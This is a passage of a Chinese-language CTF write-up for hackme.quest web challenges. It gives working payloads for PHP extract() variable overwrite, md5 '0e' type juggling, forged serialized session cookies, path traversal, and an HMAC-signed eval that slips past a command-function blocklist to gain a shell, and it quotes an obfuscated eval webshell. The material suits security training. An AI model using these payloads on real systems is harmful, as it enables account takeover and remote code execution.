 71                    <input id="password" class="form-control" type="text" name="password" placeholder="Password">
 72                </div>
 73                <div class="form-group">
 74                    <input class="form-control btn btn-primary" type="submit" value="Login">
 75                </div>
 76
 77                <input type="hidden" name="data" id="login_data" value="{}">
 78            </form>
 79
 80            <div>
 81                <p>
 82                    You can login with <code>guest</code> / <code>guest</code>.
 83                </p>
 84            </div>
 85
 86            <script>
 87            form_login.onsubmit = function () {
 88                login_data.value = JSON.stringify({
 89                    username: username.value,
 90                    password: password.value
 91                });
 92                username.value = null;
 93                password.value = null;
 94            };
 95            </script>
 96<?php else: ?>
 97            <h3>Hi, <?=htmlentities($username)?></h3>
 98
 99            <h4><?=sprintf("You %s admin!", $user == 'admin' ? "are" : "are not")?></h4>
100
101            <?php if($user == 'admin') printf("<code>%s</code>", htmlentities($flag)); ?>
102<?php endif; ?>
103        </div>
104    </div>
105</body>
106</html>

這題有點多此一舉,驗證帳號密碼不依賴$_POST['username']$_POST['password'],而是將其打包成json格式作為$_POST['data']送出。
並且在接收時,做了個很危險的動作,就是使用extract() function。

該 function 會將 json 當中的key作為變數名稱,value作為該變數的值在程式碼中直接使用

而要繞過得判斷式則有「$users[$username]」該用戶名稱必須存在於$users變數當中,以及「strcmp($users[$username], $password) == 0」該變數中的帳號的值與密碼相同。
因此不難理解,只需要手動建立變數來覆蓋原本的設定檔即可,payload 大概會長這樣:

1"data":{
2    "username": "admin",
3    "password": "admin",
4    "users":{
5        "admin": "admin"
6    }
7}

發送封包:

1curl -X POST -d "data={\"username\":\"admin\",\"password\":\"admin\",\"users\":{\"admin\":\"admin\"}}" https://ctf.hackme.quest/login6/
 1<!DOCTYPE html>
 2<html lang="en">
 3<head>
 4    <meta charset="UTF-8">
 5    <title>Login As Admin 6</title>
 6    <meta name="viewport" content="width=device-width, initial-scale=1">
 7    <link rel="stylesheet" href="/bootstrap/css/bootstrap.min.css" media="all">
 8</head>
 9<body>
10    <div class="jumbotron">
11        <div class="container">
12            <h1>Login as Admin 6</h1>
13        </div>
14    </div>
15
16    <div class="container">
17        <div class="navbar">
18            <div class="container-fluid">
19                <div class="navbar-header">
20                    <a class="navbar-brand" href="/">Please Hack Me</a>
21                </div>
22                <ul class="nav navbar-nav">
23                    <li>
24                        <a href="/scoreboard">Scoreboard</a>
25                    </li>
26                    <li>
27                        <a href="?show_source=1" target="_blank">Source Code</a>
28                    </li>
29                </ul>
30            </div>
31        </div>
32    </div>
33
34    <div class="container">
35        <div class="col-md-6 col-md-offset-3">
36            <h3>Hi, admin</h3>
37
38            <h4>You are admin!</h4>
39
40            <code>FLAG{Oops, I fucked up your user database}</code>        </div>
41    </div>
42</body>
43</html>

Flag FLAG{Oops, I fucked up your user database}


28. login as admin 7
#

login as admin

Source code:

 1<?php
 2require('config.php');
 3
 4if($_GET['show_source'] === '1') {
 5    highlight_file(__FILE__);
 6    exit;
 7}
 8
 9if($_POST['name'] == 'admin' && md5($_POST['password']) == '00000000000000000000000000000000') {
10    // admin account is disabled by give a impossible md5 hash
11    $user = 'admin';
12} elseif($_POST['name'] == 'guest' && md5($_POST['password']) == '084e0343a0486ff05530df6c705c8bb4') {
13    $user = 'guest';
14} elseif(isset($_POST['name'])) {
15    $user = false;
16}
17?><!DOCTYPE html>
18<html lang="en">
19<head>
20    <meta charset="UTF-8">
21    <title>Login As Admin 7</title>
22    <meta name="viewport" content="width=device-width, initial-scale=1">
23    <link rel="stylesheet" href="/bootstrap/css/bootstrap.min.css" media="all">
24</head>
25<body>
26    <div class="jumbotron">
27        <div class="container">
28            <h1>Login as Admin 7</h1>
29        </div>
30    </div>
31
32    <div class="container">
33        <div class="navbar">
34            <div class="container-fluid">
35                <div class="navbar-header">
36                    <a class="navbar-brand" href="/">Please Hack Me</a>
37                </div>
38                <ul class="nav navbar-nav">
39                    <li>
40                        <a href="/scoreboard">Scoreboard</a>
41                    </li>
42                    <li>
43                        <a href="?show_source=1" target="_blank">Source Code</a>
44                    </li>
45                </ul>
46            </div>
47        </div>
48    </div>
49
50    <div class="container">
51        <div class="col-md-6 col-md-offset-3">
52<?php if($user === false): ?>
53            <div class="alert alert-danger">Login failed</div>
54<?php elseif($user === 'admin'): ?>
55            <div class="alert alert-success">Hello, admin! Here is your flag: <code><?=$flag?></code></div>
56<?php elseif($user): ?>
57            <div class="alert alert-info">You are not admin, no flag for you! :P</div>
58<?php else: ?>
59            <form action="." method="POST">
60                <div class="form-group">
61                    <label for="name">User:</label>
62                    <input id="name" class="form-control" type="text" name="name" placeholder="User">
63                </div>
64                <div class="form-group">
65                    <label for="password">Pass:</label>
66                    <input id="password" class="form-control" type="text" name="password" placeholder="Password">
67                </div>
68                <div class="form-group">
69                    <input class="form-control btn btn-primary" type="submit" value="Login">
70                </div>
71            </form>
72<?php endif; ?>
73        </div>
74    </div>
75</body>
76</html>

這題也是使用==來作為判斷,其目標很明顯是要想辦法通過「md5($_POST['password']) == '00000000000000000000000000000000'」該判斷。
要真的雜湊出00000000000000000000000000000000似乎不太可能,但我們可以利用==的弱比對特性。

這題正是我在 25login as admin 3中所說「這會讓我想到著名的 PHP 處理 MD50e 開頭字串總是判斷為0的特性。(使用==情況下)」
我們只需要想辦法將雜湊出來的結果為0e開頭,PHP 就會在弱比對當中將它視同0,該判斷式就可以繞過了。

至於原理,PHP 是允許使用科學記號表示數字的,而「e(或大寫E)」表示以10為底數,後方接著為次方數。
(例如1.2*10^3可以寫作1.2e3)
所以很明顯的,0e後方不管是什麼,一旦 PHP 將它當作數字看待,那它就會成為0*10^?,自然為0
最後數字0使用弱比對==將會與字串'00000000000000000000000000000000'等價。


怎麼搞出 MD5 雜湊為0e開頭的值?
這個網路上已經整理出一堆了,基本上只要 google「php md5 0e」就可以看到了。

於是 Flag 出現FLAG{Scientific notation is awesome!!!}


29. login as admin 8
#

login as admin

這題可以不太需要看原始碼。
在登入頁面時,會發現系統生成兩個cookie,分別叫做「login8cookie」及「login8sha512」。

login8cookie值為:

O%3A7%3A%22Session%22%3A6%3A%7Bs%3A14%3A%22%00Session%00debug%22%3Bb%3A0%3Bs%3A19%3A%22%00Session%00debug_dump%22%3Bs%3A9%3A%22index.php%22%3Bs%3A13%3A%22%00Session%00data%22%3Ba%3A0%3A%7B%7Ds%3A4%3A%22user%22%3Bs%3A0%3A%22%22%3Bs%3A4%3A%22pass%22%3Bs%3A0%3A%22%22%3Bs%3A8%3A%22is_admin%22%3Bb%3A0%3B%7D

經過URL decode後,會得到以下資訊:

O:7:"Session":6:{s:14:"Sessiondebug";b:0;s:19:"Sessiondebug_dump";s:9:"index.php";s:13:"Sessiondata";a:0:{}s:4:"user";s:0:"";s:4:"pass";s:0:"";s:8:"is_admin";b:0;}

而這段資訊拿去sha512雜湊後會得到login8sha512的值。


要特別注意的是,這題不要 URL decode 之後再 hash,這會導致一些不可視字元的丟失。(例如%00)


試著先用guest登入,觀察資料變化。

login8cookie

O%3A7%3A%22Session%22%3A6%3A%7Bs%3A14%3A%22%00Session%00debug%22%3Bb%3A0%3Bs%3A19%3A%22%00Session%00debug_dump%22%3Bs%3A9%3A%22index.php%22%3Bs%3A13%3A%22%00Session%00data%22%3Ba%3A2%3A%7Bs%3A8%3A%22password%22%3Bs%3A5%3A%22guest%22%3Bs%3A5%3A%22admin%22%3Bb%3A0%3B%7Ds%3A4%3A%22user%22%3Bs%3A5%3A%22guest%22%3Bs%3A4%3A%22pass%22%3Bs%3A5%3A%22guest%22%3Bs%3A8%3A%22is_admin%22%3Bb%3A0%3B%7D

URL decode

O:7:"Session":6:{s:14:"Sessiondebug";b:0;s:19:"Sessiondebug_dump";s:9:"index.php";s:13:"Sessiondata";a:2:{s:8:"password";s:5:"guest";s:5:"admin";b:0;}s:4:"user";s:5:"guest";s:4:"pass";s:5:"guest";s:8:"is_admin";b:0;}

會發現,原本未登入時資料顯示s:4:"user";s:0:"";,登入後顯示s:4:"user";s:5:"guest";
大概可以得知,會利用該值驗證使用者為何,並且s:後方為byte數,例如guest5 bytes

另外,有個值很明顯是在判斷是否為管理員s:8:"is_admin";b:0;,因為我們只是登入guest,所以與登入前一樣沒變。


知道規則之後就可以開始更改了,將s:4:"user";s:0:"";改為s:4:"user";s:5:"admin";,並且將s:8:"is_admin";b:0;改為s:8:"is_admin";b:1;

Payload:

O:7:"Session":6:{s:14:"Sessiondebug";b:0;s:19:"Sessiondebug_dump";s:9:"index.php";s:13:"Sessiondata";a:0:{}s:4:"user";s:5:"admin";s:4:"pass";s:0:"";s:8:"is_admin";b:1;}

經過 URL encode 之後塞回去login8cookie

O%3A7%3A%22Session%22%3A9%3A%7Bs%3A14%3A%22%00Session%00debug%22%3BN%3Bs%3A19%3A%22%00Session%00debug_dump%22%3BN%3Bs%3A13%3A%22%00Session%00data%22%3BN%3Bs%3A4%3A%22user%22%3Bs%3A5%3A%22admin%22%3Bs%3A4%3A%22pass%22%3Bs%3A0%3A%22%22%3Bs%3A8%3A%22is_admin%22%3Bb%3A1%3Bs%3A14%3A%22.Session.debug%22%3Bb%3A0%3Bs%3A19%3A%22.Session.debug_dump%22%3Bs%3A9%3A%22index.php%22%3Bs%3A13%3A%22.Session.data%22%3Ba%3A0%3A%7B%7D%7D

別忘了將它sha512雜湊後也塞回login8sha512

0f1c4e335966843c9008cfc8055d198734a6373bd54853dd65987608bfcb764b05f08ec23e5b3a3d458528991f93c200c9a2fb3b88f4c7f2d07430480df846ac

Flag FLAG{object injection G____G}


30. login as admin 8.1
#

login as admin and grab the hidden flag

基本上就是上一題中,有另外一個隱藏的 flag,找到它。

Source code:

  1<?php
  2require('config.php');
  3require('session.php');
  4
  5// class Session { ... }
  6
  7// sorry, no source code this time. :P
  8
  9$session = Session::load();
 10$login_failed = false;
 11
 12if($_GET['show_source'] === '1') {
 13    highlight_file(__FILE__);
 14    exit;
 15}
 16
 17if($_GET['debug'] === '1') {
 18    $session->debug();
 19}
 20
 21if(isset($_POST['name'])) {
 22    $login_failed = !Session::login($_POST['name'], $_POST['password']);
 23} else if(isset($_POST['logout'])) {
 24    $session = new Session();
 25}
 26
 27$session->save();
 28?><!DOCTYPE html>
 29<html lang="en">
 30<head>
 31    <meta charset="UTF-8">
 32    <title>Login As Admin 8</title>
 33    <meta name="viewport" content="width=device-width, initial-scale=1">
 34    <link rel="stylesheet" href="/bootstrap/css/bootstrap.min.css" media="all">
 35</head>
 36<body>
 37    <div class="jumbotron">
 38        <div class="container">
 39            <h1>Login as Admin 8</h1>
 40        </div>
 41    </div>
 42
 43    <div class="container">
 44        <div class="navbar">
 45            <div class="container-fluid">
 46                <div class="navbar-header">
 47                    <a class="navbar-brand" href="/">Please Hack Me</a>
 48                </div>
 49                <ul class="nav navbar-nav">
 50                    <li>
 51                        <a href="/scoreboard">Scoreboard</a>
 52                    </li>
 53                    <li>
 54                        <a href="?show_source=1" target="_blank">Source Code</a>
 55                    </li>
 56                </ul>
 57            </div>
 58        </div>
 59    </div>
 60
 61    <div class="container">
 62        <div class="col-md-6 col-md-offset-3">
 63<?php if($login_failed): ?>
 64<?php     if($_POST['name'] === 'admin'): ?>
 65            <div class="alert alert-danger">Nice try. Login failed</div>
 66<?php     else: ?>
 67            <div class="alert alert-danger">Login failed</div>
 68<?php     endif; ?>
 69<?php elseif($session->is_admin): ?>
 70            <div class="alert alert-success">Hello, admin! Here is your flag: <code><?=$flag?></code></div>
 71<?php elseif($session->user): ?>
 72            <div class="alert alert-info">Hello, <?=$session->user?>. You are not admin, no flag for you! :P</div>
 73<?php endif; ?>
 74
 75<?php if($session->user): ?>
 76            <form action="." method="POST">
 77                <input type="hidden" name="logout" value="true">
 78                <div class="form-group">
 79                    <input class="form-control btn btn-danger" type="submit" value="Logout">
 80                </div>
 81            </form>
 82<?php else: ?>
 83            <form action="." method="POST">
 84                <div class="form-group">
 85                    <label for="name">User:</label>
 86                    <input id="name" class="form-control" type="text" name="name" placeholder="User">
 87                </div>
 88                <div class="form-group">
 89                    <label for="password">Pass:</label>
 90                    <input id="password" class="form-control" type="text" name="password" placeholder="Password">
 91                </div>
 92                <div class="form-group">
 93                    <input class="form-control btn btn-primary" type="submit" value="Login">
 94                </div>
 95            </form>
 96<?php endif; ?>
 97        </div>
 98    </div>
 99</body>
100</html>

會發現可以透過$_GET['debug']===1來啟用「$session->debug()」功能。
通常在做滲透測試時,如果拿到了系統 debug 工具的使用權限,那麼通常可以輕易獲得許多敏感資料。
先嘗試觸發看看https://ctf.hackme.quest/login8/?debug=1

看來沒那麼容易。


未登入的login8cookie:

O%3A7%3A%22Session%22%3A6%3A%7Bs%3A14%3A%22%00Session%00debug%22%3Bb%3A0%3Bs%3A19%3A%22%00Session%00debug_dump%22%3Bs%3A9%3A%22index.php%22%3Bs%3A13%3A%22%00Session%00data%22%3Ba%3A0%3A%7B%7Ds%3A4%3A%22user%22%3Bs%3A0%3A%22%22%3Bs%3A4%3A%22pass%22%3Bs%3A0%3A%22%22%3Bs%3A8%3A%22is_admin%22%3Bb%3A0%3B%7D

URL decode 之後:

O:7:"Session":6:{s:14:"Sessiondebug";b:0;s:19:"Sessiondebug_dump";s:9:"index.php";s:13:"Sessiondata";a:0:{}s:4:"user";s:0:"";s:4:"pass";s:0:"";s:8:"is_admin";b:0;}

sha512:

4feb33685e47c83ce089b1707f270001a8dc0648d4a7d94d0a3e2f5b35803a7c8766285283415c8594e658468cf5e99be232b3bf98a441568a71f709243e9077

再仔細看看,會發現有一段長這樣:s:14:".Session.debug";b:0;
得到管理員身份後,同時把這值改為1再嘗試一次(別忘了 sha512 也要改)

login8cookie:

O%3A7%3A%22Session%22%3A6%3A%7Bs%3A14%3A%22%00Session%00debug%22%3Bb%3A1%3Bs%3A19%3A%22%00Session%00debug_dump%22%3Bs%3A9%3A%22index.php%22%3Bs%3A13%3A%22%00Session%00data%22%3Ba%3A0%3A%7B%7Ds%3A4%3A%22user%22%3Bs%3A5%3A%22admin%22%3Bs%3A4%3A%22pass%22%3Bs%3A5%3A%22admin%22%3Bs%3A8%3A%22is_admin%22%3Bb%3A1%3B%7D

URL decode:

O:7:"Session":6:{s:14:"Sessiondebug";b:1;s:19:"Sessiondebug_dump";s:9:"index.php";s:13:"Sessiondata";a:0:{}s:4:"user";s:5:"admin";s:4:"pass";s:5:"admin";s:8:"is_admin";b:1;}

login8sha512:

2ad02054b592c0e8f5ac53dd264901e74818821f54afe11694bc6782f14d1bd2d1eca947367affa0cdb3cb99e63737ead8300ac626b6f962eb5d7992ccc9de03

這時候可以得到index.php的原始碼:

猜測s:19:"Sessiondebug_dump";s:9:"index.php";是用來選擇要 dump source code 的檔案,改成config.php試試,並且記得更改byte(index.php9config.php10)。

就可以看到config.php的 source code 了


Payload

O%3A7%3A%22Session%22%3A6%3A%7Bs%3A14%3A%22%00Session%00debug%22%3Bb%3A1%3Bs%3A19%3A%22%00Session%00debug_dump%22%3Bs%3A10%3A%22config.php%22%3Bs%3A13%3A%22%00Session%00data%22%3Ba%3A0%3A%7B%7Ds%3A4%3A%22user%22%3Bs%3A5%3A%22admin%22%3Bs%3A4%3A%22pass%22%3Bs%3A5%3A%22admin%22%3Bs%3A8%3A%22is_admin%22%3Bb%3A1%3B%7D
820cfbefb738a1646ca43ed05946f8b8e733435956528948270292c16ed9eca6752e0d0ffdde6eea4594c6b516eb41e364b9a801fa552dff3a68ec9ce98f6813

Flag FLAG{wake up neo}


31. dafuq-manager 1
#

Login as guest and find flag 1

dafuq」是網路用語,意思是「WTF(what the fuck)」,題目「dafuq manager」大致上意思是「這管理者到底在幹麻!?」。

這是一個登入頁面,先按照提示所說登入guest帳號:

裡面是個管理檔案的界面:

在觀察過後可以發現,產生了一個 cookie 叫做「show_hidden」其值為no

追隨本性,改成yes,就可以看到頁面上的隱藏檔案「.good.job.here.is.your.hidden.flag-1.txt」:

打開就可以看到 flag FLAG{Wow, how did you found me? I was hidden!}


32. dafuq-manager 2
#

Login as admin, code review and get flag 2

上一題可以看到還有一個隱藏檔案「.where-is-flag-2-please-tell-me.txt」,這是這題的提示:
裡面寫著:「Try to login as admin! and you will get flag2

開始嘗試撈管理員的帳號密碼。


我們可以下載目錄下的dafuqManager.7z來了解整個系統的架構。

Source code of index.php:

 1<?php
 2ini_set('memory_limit', '16M');
 3ini_set('upload_max_filesize', '1k');
 4error_reporting(E_ALL ^ E_NOTICE ^ E_WARNING);
 5define('ROOT', dirname(realpath(__FILE__)));
 6umask(002);
 7require "./core/init.php";
 8switch ($GLOBALS["action"]) {
 9        // EDIT FILE
10        
11    case "edit":
12        require "./core/fun_edit.php";
13        edit_file($GLOBALS["dir"], $GLOBALS["item"]);
14    break;
15        // DELETE FILE(S)/DIR(S)
16        
17    case "delete":
18        require "./core/fun_del.php";
19        del_items($GLOBALS["dir"]);
20    break;
21        // COPY/MOVE FILE(S)/DIR(S)
22        
23    case "copy":
24    case "move":
25        require "./core/fun_copy_move.php";
26        copy_move_items($GLOBALS["dir"]);
27    break;
28        // DOWNLOAD FILE
29        
30    case "download":
31        ob_start(); // prevent unwanted output
32        require "./core/fun_down.php";
33        ob_end_clean(); // get rid of cached unwanted output
34        download_item($GLOBALS["dir"], $GLOBALS["item"]);
35        ob_start(false); // prevent unwanted output
36        exit;
37    break;
38        // UPLOAD FILE(S)
39        
40    case "upload":
41        require "./core/fun_up.php";
42        upload_items($GLOBALS["dir"]);
43    break;
44        // CREATE DIR/FILE
45        
46    case "mkitem":
47        require "./core/fun_mkitem.php";
48        make_item($GLOBALS["dir"]);
49    break;
50        // CHMOD FILE/DIR
51        
52    case "chmod":
53        require "./core/fun_chmod.php";
54        chmod_item($GLOBALS["dir"], $GLOBALS["item"]);
55    break;
56        // SEARCH FOR FILE(S)/DIR(S)
57        
58    case "search":
59        require "./core/fun_search.php";
60        search_items($GLOBALS["dir"]);
61    break;
62        // CREATE ARCHIVE
63        
64    case "arch":
65        require "./core/fun_archive.php";
66        archive_items($GLOBALS["dir"]);
67    break;
68        // USER-ADMINISTRATION
69        
70    case "admin":
71        require "./core/fun_admin.php";
72        show_admin($GLOBALS["dir"]);
73    break;
74    case "debug":
75        require "./core/fun_debug.php";
76        do_debug($GLOBALS["dir"]);
77    break;
78        // DEFAULT: LIST FILES & DIRS
79        
80    case "list":
81    default:
82        require "./core/fun_list.php";
83        list_dir($GLOBALS["dir"]);
84} // end switch-statement
85show_footer();

可以看到有許多action可以做。
其中有些功能就放在界面上方:

例如「搜尋」功能,點擊後可以看到網址顯示「https://dafuq-manager.hackme.quest/index.php?action=search&order=name&srt=yes&lang=cht」,action就直接使用GET傳遞即可,其他參數也是。

我們的目標是管理員的帳號密碼,我們可以從下載下來的檔案中發現,guest的密碼被存放在.config/.htusers.php中:

只要有辦法讀取該檔案,應該就可以看到管理員的密碼。
上面的action中有一個edit功能可以編輯檔案,而該功能要輸入兩個參數,分別是欲編輯檔案的路徑dir以及檔名item


直接嘗試:action=edit&dir=.config/&item=.htusers.php,顯示錯誤:

根目錄似乎在是在/var/www/webhdisk/
輸入絕對路徑試試:action=edit&dir=/var/www/webhdisk/.config/&item=.htusers.php

好吧看來根目錄不是這樣,嘗試使用相對路徑。
嘗試許多次,還是顯示檔案不存在:

看起來dir是受到過濾的,但item似乎…
不在dir指定路徑,而是改從item來繞過。

嘗試不傳送dir,只傳送item

嘗試幾次之後,找到item輸入/../.config/.htusers.php可以繞過。
action=edit&item=/../.config/.htusers.php

成功讀取檔案內容,管理者帳號為「adm1n15trat0r」,MD5 雜湊的密碼為「34af0d074b17f44d1bb939765b02776f」。


雖然雜湊理論上是無法被反解的,但若是該雜湊原文有被刻意的紀錄過,那麼就可以得知原文。
直接將這段雜湊放上網搜尋「MD5 Decode」,就可以得到原文為「how do you turn this on」。

帳號「adm1n15trat0r」,密碼「how do you turn this on」,登入:

打開.flag-2_(´・ω・`).txt就可以得到 Flag FLAG{how do you turn this on?}


33. dafuq-manager 3
#

Get a shell to find flag 3

繼續上一題,點開檔案.where-is-flag-3-do-you-know-that.txt,會看到以下訊息:

For flag3, you need a shell to get that. see $WEBROOT/flag3!

這題應該就是要拿到 shell,然後去根目錄下讀取「flag3」這個檔案。


繼續 view code 可以在core/fun_debug.php這個檔案中看到如下內容:

 1<?php
 2function make_command($cmd) {
 3    $hmac = hash_hmac('sha256', $cmd, $GLOBALS["secret_key"]);
 4    return sprintf('%s.%s', base64_encode($cmd), $hmac);
 5}
 6function do_debug() {
 7    assert(strlen($GLOBALS['secret_key']) > 40);
 8    $dir = $GLOBALS['__GET']['dir'];
 9    if (strcmp($dir, "magically") || strcmp($dir, "hacker") || strcmp($dir, "admin")) {
10        show_error('You are not hacky enough :(');
11    }
12    list($cmd, $hmac) = explode('.', $GLOBALS['__GET']['command'], 2);
13    $cmd = base64_decode($cmd);
14    $bad_things = array('system', 'exec', 'popen', 'pcntl_exec', 'proc_open', 'passthru', '`', 'eval', 'assert', 'preg_replace', 'create_function', 'include', 'require', 'curl',);
15    foreach ($bad_things as $bad) {
16        if (stristr($cmd, $bad)) {
17            die('2bad');
18        }
19    }
20    if (hash_equals(hash_hmac('sha256', $cmd, $GLOBALS["secret_key"]), $hmac)) {
21        die(eval($cmd));
22    } else {
23        show_error('What does the fox say?');
24    }
25}
  • make_command() 將輸入的指令經過 hmac 之後,連同指令本身的 base64 編碼一起輸出。
  • do_debug() 會去抓取「$GLOBALS['__GET']['command']」之後,經過黑名單$bad_things過濾敏感指令,並且將其拆分成hmacbase64兩段,然後判斷是否配對。

我們可以在.config/conf.php中找到密鑰:$GLOBALS["secret_key"] = 'KHomg4WfVeJNj9q5HFcWr5kc8XzE4PyzB8brEw6pQQyzmIZuRBbwDU7UE6jYjPm3'

這麼一來,理論上我們只需要將要觸發的指令用該密鑰進行hmac運算後再塞給 server 就行了。

但有個問題,剛剛看到黑名單檔掉了許多像是systemexecevalcurl等可以讓系統執行指令的 function,要怎麼繞過?

其實也不難,只要不要讓單字同時出現即可,可以利用 PHP 的特性。
把「system」拆成「sys」及「tem」:$c1="sys";$c2="tem";($c1.$c2)() = system()


寫個 PHP 來幫助我們包裝指令:

 1<?php
 2$cmd = "ls -al";
 3
 4function make_command($cmd) {
 5    $secret_key = "KHomg4WfVeJNj9q5HFcWr5kc8XzE4PyzB8brEw6pQQyzmIZuRBbwDU7UE6jYjPm3";
 6    $cmd = '$c1="sys";$c2="tem";($c1.$c2)("'.$cmd.'");';
 7    $hmac = hash_hmac('sha256', $cmd, $secret_key);
 8    return sprintf('%s.%s', base64_encode($cmd), $hmac);
 9}
10
11echo $cmd.'<br>';
12echo make_command($cmd);

JGMxPSJzeXMiOyRjMj0idGVtIjsoJGMxLiRjMikoImxzIC1hbCIpOw==.df0bfdb55e82b6491b44ef33590e78add28dd90a3f52b616a20363d10ecd9f32」就是要餵給do_debug()的值了。

index.php當中有一段這麼寫:

 1switch ($GLOBALS["action"]) {
 2.
 3.
 4.
 5    case "debug":
 6        require "./core/fun_debug.php";
 7        do_debug($GLOBALS["dir"]);
 8    break;
 9.
10.
11.

而剛剛有看到dir該參數必須繞過「strcmp($dir, "magically") || strcmp($dir, "hacker") || strcmp($dir, "admin")」判斷。
但似乎它並沒有被嚴格過濾,所以可以傳陣列格式的dirstrcmp()錯誤,即可失效。

所以整個 payload 大概長這樣:

action=debug&dir[]&command=JGMxPSJzeXMiOyRjMj0idGVtIjsoJGMxLiRjMikoImxzIC1hbCIpOw==.df0bfdb55e82b6491b44ef33590e78add28dd90a3f52b616a20363d10ecd9f32

執行之後就可以看到畫面顯示:

Um… 有點亂,整理一下:

 1total 44 
 2drwxr-xr-x 10 1000 1000 4096 Nov 16 2017 . 
 3drwxr-xr-x 4 root root 4096 Jan 8 09:19 .. 
 4drwxr-xr-x 2 1000 1000 4096 Nov 16 2017 .config 
 5drwxr-xr-x 2 1000 1000 4096 Oct 4 2016 core 
 6drwxr-xr-x 4 1000 1000 4096 Oct 4 2016 data 
 7drwxr-xr-x 2 1000 1000 4096 Oct 4 2016 flag3 
 8drwxr-xr-x 2 1000 1000 4096 Oct 4 2016 img 
 9-rw-r--r-- 1 1000 1000 2233 Oct 4 2016 index.php 
10drwxr-xr-x 2 1000 1000 4096 Oct 4 2016 lang 
11drwxr-xr-x 2 1000 1000 4096 Oct 4 2016 lib 
12drwxr-xr-x 2 1000 1000 4096 Oct 4 2016 style 

原來flag3是個目錄,那麼先看看裡面有什麼東西。

用一樣的方式執行ls -al flag3

JGMxPSJzeXMiOyRjMj0idGVtIjsoJGMxLiRjMikoImxzIC1hbCBmbGFnMyIpOw==.86155156aee864578f4c7aec84c9a6e11c417b7aa350b845340bf6ec08238cb9

輸出:

total 32 
drwxr-xr-x 2 1000 1000 4096 Oct 4 2016 . 
drwxr-xr-x 10 1000 1000 4096 Nov 16 2017 .. 
-rw-r--r-- 1 1000 1000 161 Oct 4 2016 Makefile 
-r-------- 1 1000 1000 72 Oct 4 2016 flag3 
-rwx--x--x 1 1000 1000 9232 Oct 4 2016 meow 
-rw-r--r-- 1 1000 1000 783 Oct 4 2016 meow.c 

Makefile 裡面長這樣:

1all: 
2    gcc meow.c -o meow 
3    sudo chown flag3:flag3 meow 
4    sudo chmod 111 meow 
5    sudo chmod +s meow 
6    sudo chown flag3:flag3 flag3 
7    sudo chmod 400 flag3 
8    ./meow flag3 

flag3似乎因為權限問題,無法被直接讀取。
先看看meow.c是什麼,執行「cat ./flag3/meow.c」:

JGMxPSJzeXMiOyRjMj0idGVtIjsoJGMxLiRjMikoImNhdCAuL2ZsYWczL21lb3cuYyIpOw==.76282a859b8e5aa80039b069441b1cc450c57b77e250410cad889b3afdc1c101

得到原始碼:

 1#include <stdio.h>
 2#include <sys stat.h>
 3#include <sys types.h>
 4#include <unistd.h>
 5#include <fcntl.h>
 6
 7int main(int argc, char *argv[])
 8{
 9    const char *exec = argv[0];
10    const char *flag = argv[1];
11    char buffer[4096];
12
13    if(argc < 2) {
14        printf("Usage: %s flag\n", argv[0]);
15        puts("We have cat to read file, And the meow to cat flag.");
16        return 0;
17    }
18
19    struct stat S;
20    if(stat(exec, &S) != 0) {
21        printf("Can not stat file %s\n", exec);
22        return 1;
23    }
24
25    uid_t uid = S.st_uid;
26    gid_t gid = S.st_gid;
27
28    setuid(uid);
29    seteuid(uid);
30    setgid(gid);
31    setegid(gid);
32
33    int fd = open(flag, O_RDONLY);
34    if(fd == -1) {
35        printf("Can not open file %s\n", flag);
36        return 2;
37    }
38    ssize_t readed = read(fd, buffer, sizeof(buffer) - 1);
39    if(readed > 0) {
40        write(1, buffer, readed);
41    }
42    close(fd);
43}

看起來可以透過meow來讀取flag3,由於怕執行路徑會影響,所以先進入程式目錄下再執行它。

執行cd ./flag3; ./meow flag3

JGMxPSJzeXMiOyRjMj0idGVtIjsoJGMxLiRjMikoImNkIC4vZmxhZzM7IC4vbWVvdyBmbGFnMyIpOw==.7a6a92f9480943230008e349105276dc1536a5c2f499b92c395d5360d37760a3

Flag FLAG{Oh, Looks like you have a shell. Please don't fuck up the system.}


34. wordpress 1
#

Something strange is hidding in the source code, find it.
Tips: This challenge does not require to exploit any thing, don’t use any scanner.

題目似乎爛掉的樣子,先放著,之後有修再來解。


35. wordpress 2
#

Find another strange thing in the source code.
Tips: This challenge does not require to exploit any thing, don’t use any scanner.

題目爛掉。


36. webshell
#

You have my webshell, find the flag!

這題一打開是空白畫面,按照慣例先看看原始碼。

看來這是當前頁面的 PHP 了。

 1$cation = "St\x72\x5fr\x4ft\x313";
 2$e_obfus="b\x41Se\x364\x5f\x44e\x43ode";
 3$e_cod = "g\x5ainfl\x41t\x45" ; $sourc =
 4"St\x72\x72\x45v"; @eval ($sourc($e_cod(
 5$e_obfus($cation("KMSqn8VjTVKi9lgrcMtH3V
 6qwT8jvb2vzjiltmKowKNt12dQTxxEDMC99voecmS
 7H4rKBrpkXVDwmC1yBbi0PV1IeQA0GuTWSr3Pqi3I
 8qTu92xznWEDw4FxeVNv4JpGewDovk8re57tTcMsM
 9nk5nVDzzyefSIFS7PQb7AnFMfcg3UBjvl4H/GnPx
10/leZxlP/OFJYZ1cqYiHEDvWszvhYHoLnRhvv29gx
11cLgJbveVKw5k4jEwAc0VvFAtiPzpZ6BwDnQKOltX
12sF+JmSCVPdu0NI3qpr406XpZnKBpfAm+Rjhd9Z00
13TUQFagaWJg8qmNQowQCzaUmVaiSlCBLL+VkfuOYe
14A8+LkWdkHmDtp9xcmqB6H5OgyaqXK+gpWJTPBuHi
15STW8OO9t13k2/7r+He8BfU")))));

看來經過編碼,先把它回推再說。
先把hex的部份轉換一下,然後稍微排版:

 1$cation = "Str_r0t13";
 2$e_obfus = "bASe64_DeCode";
 3$e_cod = "gZinflAtE";
 4$sourc = "StrrEv";
 5
 6@eval($sourc($e_cod(
 7$e_obfus($cation("KMSqn8VjTVKi9lgrcMtH3V
 8qwT8jvb2vzjiltmKowKNt12dQTxxEDMC99voecmS
 9H4rKBrpkXVDwmC1yBbi0PV1IeQA0GuTWSr3Pqi3I
10qTu92xznWEDw4FxeVNv4JpGewDovk8re57tTcMsM
11nk5nVDzzyefSIFS7PQb7AnFMfcg3UBjvl4H/GnPx
12/leZxlP/OFJYZ1cqYiHEDvWszvhYHoLnRhvv29gx
13cLgJbveVKw5k4jEwAc0VvFAtiPzpZ6BwDnQKOltX
14sF+JmSCVPdu0NI3qpr406XpZnKBpfAm+Rjhd9Z00
15TUQFagaWJg8qmNQowQCzaUmVaiSlCBLL+VkfuOYe
16A8+LkWdkHmDtp9xcmqB6H5OgyaqXK+gpWJTPBuHi
17STW8OO9t13k2/7r+He8BfU")))));

所以可以理解成

 1@eval(strrev(gzinflate(base64_decode(str_rot13("KMSqn8VjTVKi9lgrcMtH3V
